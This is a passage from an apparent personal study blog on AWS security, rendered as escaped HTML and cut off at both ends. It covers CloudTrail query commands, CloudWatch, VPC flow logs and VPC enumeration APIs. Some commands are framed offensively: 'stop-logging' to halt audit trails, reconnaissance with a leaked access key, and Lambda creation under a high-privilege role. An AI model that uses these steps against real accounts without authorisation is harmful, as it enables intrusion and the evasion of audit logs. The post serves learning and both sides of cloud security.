class="se"&gt;\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --runtime python3.8 &lt;span class="se"&gt;\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --role arn:aws:iam::&amp;lt;ACCOUNT_ID&amp;gt;:role/&amp;lt;HIGH_PRIV_ROLE&amp;gt; &lt;span class="se"&gt;\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --handler lambda_function.lambda_handler &lt;span class="se"&gt;\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --zip-file fileb://function.zip&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="cloudtrail"&gt;&lt;a href="#cloudtrail" class="header-anchor"&gt;&lt;/a&gt;CloudTrail&#10;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;CloudTrail is the audit log for an AWS account.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Records who (users, roles, or services) did what in AWS, such as creating, modifying, or deleting resources.&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Records when and from where, including the IP address and geographic location, someone accessed AWS.&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Records API calls made through the AWS console, CLI, or SDK.&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Put simply, CloudTrail is like the “black box” of an AWS account. It records AWS activity to help troubleshoot problems and spot anomalies.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;It is mainly used for activity auditing, much like a bastion host recording every action performed by operations staff.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0029.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Create one and you will be able to see events here. Calls to S3 interfaces, such as running ls or downloading a file, are not recorded unless data events are enabled. As shown below, data events can be enabled, but they cost money, so I am leaving them alone. It is enough for now to understand how to call these APIs. Next, let us look at AWSCLI.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0030.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h3 id="aws-cli-2"&gt;&lt;a href="#aws-cli-2" class="header-anchor"&gt;&lt;/a&gt;AWS CLI&#10;&lt;/h3&gt;&lt;h4 id="querying-recent-cloudtrail-events"&gt;&lt;a href="#querying-recent-cloudtrail-events" class="header-anchor"&gt;&lt;/a&gt;Querying Recent CloudTrail Events&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail lookup-events --max-results 10&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This queries the 10 most recent events. By default, it returns &lt;strong&gt;all management events&lt;/strong&gt;, excluding S3 data events.&lt;/p&gt;&#10;&lt;h4 id="querying-by-event-name"&gt;&lt;a href="#querying-by-event-name" class="header-anchor"&gt;&lt;/a&gt;Querying by Event Name&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateBucket&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This filters for all &lt;code&gt;CreateBucket&lt;/code&gt; events, meaning S3 bucket creation operations.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=GetObject&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This attempts to find S3 file download (&lt;code&gt;GetObject&lt;/code&gt;) events, provided you have &lt;strong&gt;already enabled S3 data events&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;h4 id="querying-by-iam-user"&gt;&lt;a href="#querying-by-iam-user" class="header-anchor"&gt;&lt;/a&gt;Querying by IAM User&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail lookup-events --lookup-attributes AttributeKey=Username,AttributeValue=MentalityXt --max-results 10&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This finds the &lt;strong&gt;10 most recent operations by the MentalityXt user&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;h4 id="querying-by-resource-name"&gt;&lt;a href="#querying-by-resource-name" class="header-anchor"&gt;&lt;/a&gt;Querying by Resource Name&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail lookup-events --lookup-attributes AttributeKey=ResourceName,AttributeValue=mentalityxttest&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This filters for all events involving the &lt;strong&gt;mentalityxttest S3 bucket&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;h4 id="querying-by-time-range"&gt;&lt;a href="#querying-by-time-range" class="header-anchor"&gt;&lt;/a&gt;Querying by Time Range&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail lookup-events --start-time &amp;#34;2025-03-03T00:00:00Z&amp;#34; --end-time &amp;#34;2025-03-03T23:59:59Z&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This queries &lt;strong&gt;all CloudTrail events from March 3, 2025&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;h4 id="listing-all-cloudtrail-trails"&gt;&lt;a href="#listing-all-cloudtrail-trails" class="header-anchor"&gt;&lt;/a&gt;Listing All CloudTrail Trails&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail list-trails&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This lists every CloudTrail trail in the AWS account.&lt;/p&gt;&#10;&lt;h4 id="getting-details-about-a-trail"&gt;&lt;a href="#getting-details-about-a-trail" class="header-anchor"&gt;&lt;/a&gt;Getting Details About a Trail&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail describe-trails&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This queries detailed information about CloudTrail trails, including their S3 log storage locations.&lt;/p&gt;&#10;&lt;h4 id="stopping-cloudtrail-logging"&gt;&lt;a href="#stopping-cloudtrail-logging" class="header-anchor"&gt;&lt;/a&gt;Stopping CloudTrail Logging&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail stop-logging --name management-events&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This stops logging for the &lt;code&gt;management-events&lt;/code&gt; trail. It &lt;strong&gt;does not delete logs that have already been stored&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;h4 id="restarting-cloudtrail-logging"&gt;&lt;a href="#restarting-cloudtrail-logging" class="header-anchor"&gt;&lt;/a&gt;Restarting CloudTrail Logging&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail start-logging --name management-events&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This restarts logging for the &lt;code&gt;management-events&lt;/code&gt; trail.&lt;/p&gt;&#10;&lt;h4 id="downloading-cloudtrail-event-logs"&gt;&lt;a href="#downloading-cloudtrail-event-logs" class="header-anchor"&gt;&lt;/a&gt;Downloading CloudTrail Event Logs&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 ls s3://aws-cloudtrail-logs-6502********-63db363a/AWSLogs/6502********/CloudTrail/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;This lists CloudTrail logs stored in S3&lt;/strong&gt;, if you enabled S3 storage.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 cp s3://aws-cloudtrail-logs-6502********-63db363a/AWSLogs/6502********/CloudTrail/2025/03/03/LOG_FILE.json.gz .&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gunzip LOG_FILE.json.gz&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;This downloads and extracts a CloudTrail log file&lt;/strong&gt; so it can be analyzed locally.&lt;/p&gt;&#10;&lt;p&gt;I listed a whole pile of commands above, but I think the log-download command is the most useful because it lets you download all the logs and analyze them at your own pace. The individual queries are more useful when the data volume is particularly large. If there is not much data, downloading everything for analysis is probably better. So far, I have noted only a handful of AWS CLI commands. They are really meant for a scenario where a leaked Access Key and Secret Key can be used to retrieve information through the API. There is no need to memorize all of this, but you should know that these API request methods exist.&lt;/p&gt;&#10;&lt;h2 id="cloudwatch"&gt;&lt;a href="#cloudwatch" class="header-anchor"&gt;&lt;/a&gt;CloudWatch&#10;&lt;/h2&gt;&lt;p&gt;CloudWatch is AWS&amp;rsquo;s &lt;strong&gt;monitoring and log management service&lt;/strong&gt;. It can:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Monitor AWS resources&lt;/strong&gt;, including EC2, S3, Lambda, and RDS&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Collect and store logs&lt;/strong&gt; from Lambda, EC2, CloudTrail, and more&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Configure alarms&lt;/strong&gt;, such as an alarm triggered when CPU usage exceeds 80%&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Visualize data&lt;/strong&gt; by creating Dashboards&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;It is similar to the previous service, but CloudTrail primarily audits user actions, while CloudWatch monitors resources. If you have used almost any security appliance, you have probably seen something like this in a WAF, IPS/IDS, situational-awareness platform, and so on.&lt;/p&gt;&#10;&lt;p&gt;Just search for it, open it, and have a look. API auditing can sometimes be broken down in more detail. We actually created something in the Lambda section and opened it once, so I will drop in a screenshot here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0031.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;You can click through the other items one by one to get a general feel for them. Also:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;CloudWatch itself does not record API requests&lt;/strong&gt;, but &lt;strong&gt;CloudTrail records API calls&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;To see API logs in CloudWatch, you need to send CloudTrail events to CloudWatch Logs&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Then you can use AWS CLI to query API call logs!&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;I will not go into more detail here. If I need to deploy services on AWS later, I can learn more then. It is not necessary right now.&lt;/p&gt;&#10;&lt;p&gt;While looking around, I found an interesting feature: the traffic monitor. It requires an EC2 instance, though, and I had already shut mine down because I barely use it after finishing the lesson and it might cost money. That is why there is no traffic data below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0032.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;With the default setup, it records rejected traffic but not successful flows. The method below can forward those logs.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0033.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Pay attention to the location in the upper-left corner. It is a bit of a hassle, so I will not set it up here. It is worth mentioning that this can also be configured and queried through AWSCLI. &lt;del&gt;I thought of a scenario: suppose a target&amp;rsquo;s KEY is exposed, and the target also runs a popular site. Its traffic may be unencrypted, or it might use JS encryption that can be reversed. Capturing other users&amp;rsquo; traffic could easily reveal their passwords or COOKIEs, which would be pretty serious.&lt;/del&gt; (That actually does not work. It can only record the source IP/target IP, source port/target port, transport protocol (TCP/UDP/ICMP), and packet/byte counts.) That makes it feel useful mostly for development, apart from cloud security cases where you also need to enable it. I have realized that everything I am studying covers both attack and defense: logging systems can support tracing, incident response, and reconstruction of an attack chain.&lt;/p&gt;&#10;&lt;p&gt;The crossed-out idea above can be handled another way. AWS also has a WAF where you can write custom rules. When a login request contains sensitive terms such as username/passwd, you can add a rule and capture it, but that costs money.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0034.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Never mind. It is enough to know that the feature exists.&lt;/p&gt;&#10;&lt;h2 id="vpc"&gt;&lt;a href="#vpc" class="header-anchor"&gt;&lt;/a&gt;VPC&#10;&lt;/h2&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;A VPC is a Virtual Private Cloud on AWS&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;You can create resources such as EC2 instances, databases (RDS), and load balancers (ELB) inside a VPC&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;A VPC lets you control the network topology, including subnets, route tables, security groups, and NACLs&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;All AWS resources run inside some VPC&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;I first learned this concept during an internship in 2022. At the time, I wanted to buy a VPS to run some services, but I found that a VPC seemed cheaper than a VPS and felt roughly the same. What I really wanted was the public IP.&lt;/p&gt;&#10;&lt;p&gt;A VPC is mainly a network environment. Everything below relates to network configuration. With the right setup, you could actually build an internal AWS lateral-movement lab with dual-NIC machines, which sounds pretty interesting.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0035.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In the EC2 section, I mentioned that this seemed different from aliyun. Over there, the firewall is built in, while I could not find it here. It turns out it is here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0036.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;My understanding is still pretty basic, so it is worth looking through everything. VPC handles network traffic, while EC2 is mainly for compute, such as assigning CPU and memory to an operating system.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;On the defensive side, VPC is mainly about access control and traffic management. On the offensive side, the goal is to obtain configuration information or bypass those defenses.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;That is roughly how I understand it. The defensive VPC features are listed on the left in the screenshot above, while our focus is mainly offensive. Here are some important APIs for querying this configuration information, assuming you have obtained a KEY.&lt;/p&gt;&#10;&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Service&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;What the API does&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Potential offensive use&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;VPC&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;DescribeVpcs&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve the CIDR, status, default VPC, and other details for all VPCs&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Subnet&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;DescribeSubnets&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;View the IP ranges, availability zones, and other details for all subnets&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Route Table&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;DescribeRouteTables&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve routing configuration for the current VPC and inspect public-access policies&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;NACL (Network ACL)&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;DescribeNetworkAcls&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;View ACL rules for the current VPC, including inbound and outbound restrictions&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Security Groups&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;DescribeSecurityGroups&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve EC2 security-group rules and look for open ports&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Internet Gateway (IGW)&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;DescribeInternetGateways&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Determine how the VPC connects to external networks and whether it is exposed publicly&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;NAT Gateway&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;DescribeNatGateways&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve NAT proxy information that might allow public-network restrictions to be bypassed&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;VPN Connection&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;DescribeVpnConnections&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve VPN connection information and potentially attempt to hijack the VPN&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;DNS Firewall&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;ListFirewallRules&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve DNS firewall rules and potentially attempt to bypass filtering&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Elastic IP&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;DescribeAddresses&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve public IPs attached to the current account and look for targets&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;p&gt;These APIs can all be queried through &lt;strong&gt;AWS CLI&lt;/strong&gt; or an &lt;strong&gt;SDK&lt;/strong&gt;, for example:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ec2 describe-security-groups --region us-east-1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ec2 describe-route-tables --region 